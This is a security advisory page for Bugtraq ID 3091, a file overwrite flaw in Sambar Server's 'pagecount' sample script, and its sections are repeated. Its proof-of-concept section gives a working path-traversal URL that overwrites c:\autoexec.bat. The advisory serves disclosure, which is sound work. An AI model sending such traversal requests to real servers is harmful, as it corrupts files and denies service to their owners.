Sambar Server pagecount File Overwrite Vulnerability
BID:3091
Info
Sambar Server pagecount File Overwrite Vulnerability
| Bugtraq ID: | 3091 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 22 2001 12:00AM |
| Updated: | Jul 22 2001 12:00AM |
| Credit: | This vulnerability was submitted to BugTraq on July 22nd, 2001 by kyprizel <[email protected]>. |
| Vulnerable: |
Sambar Server 5.0 beta4 Sambar Server 5.0 beta3 Sambar Server 5.0 beta2 Sambar Server 5.0 beta1 Sambar Server 4.4 production |
| Not Vulnerable: |
Sambar Server 5.0 beta6 Sambar Server 5.0 beta5 |
Discussion
Sambar Server pagecount File Overwrite Vulnerability
Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.
Sambar WWW Server is bundled with a sample script('pagecount') which creates temporary files on the host. However, it is possible for a remote attacker to craft a web request which will cause pagecount to overwrite existing files. Files attacked in this manner will be corrupted.
Loss of critical data and a denial of services may occur if system files are overwritten.
Sambar Server is a multi-threaded HTTP server for Microsoft Windows and Unix systems.
Sambar WWW Server is bundled with a sample script('pagecount') which creates temporary files on the host. However, it is possible for a remote attacker to craft a web request which will cause pagecount to overwrite existing files. Files attacked in this manner will be corrupted.
Loss of critical data and a denial of services may occur if system files are overwritten.
Exploit / POC
Sambar Server pagecount File Overwrite Vulnerability
kyprizel <[email protected]> submitted this example:
http://sambarserver/session/pagecount?page=index will create a file in Sambar temp directory with name 'index'
http://sambarserver/session/pagecount?page=../../../../../../autoexec.bat then the script will rewrite the first symbols of c:\autoexec.bat with it's number.
So we are able to add some text to any file on the disk.
kyprizel <[email protected]> submitted this example:
http://sambarserver/session/pagecount?page=index will create a file in Sambar temp directory with name 'index'
http://sambarserver/session/pagecount?page=../../../../../../autoexec.bat then the script will rewrite the first symbols of c:\autoexec.bat with it's number.
So we are able to add some text to any file on the disk.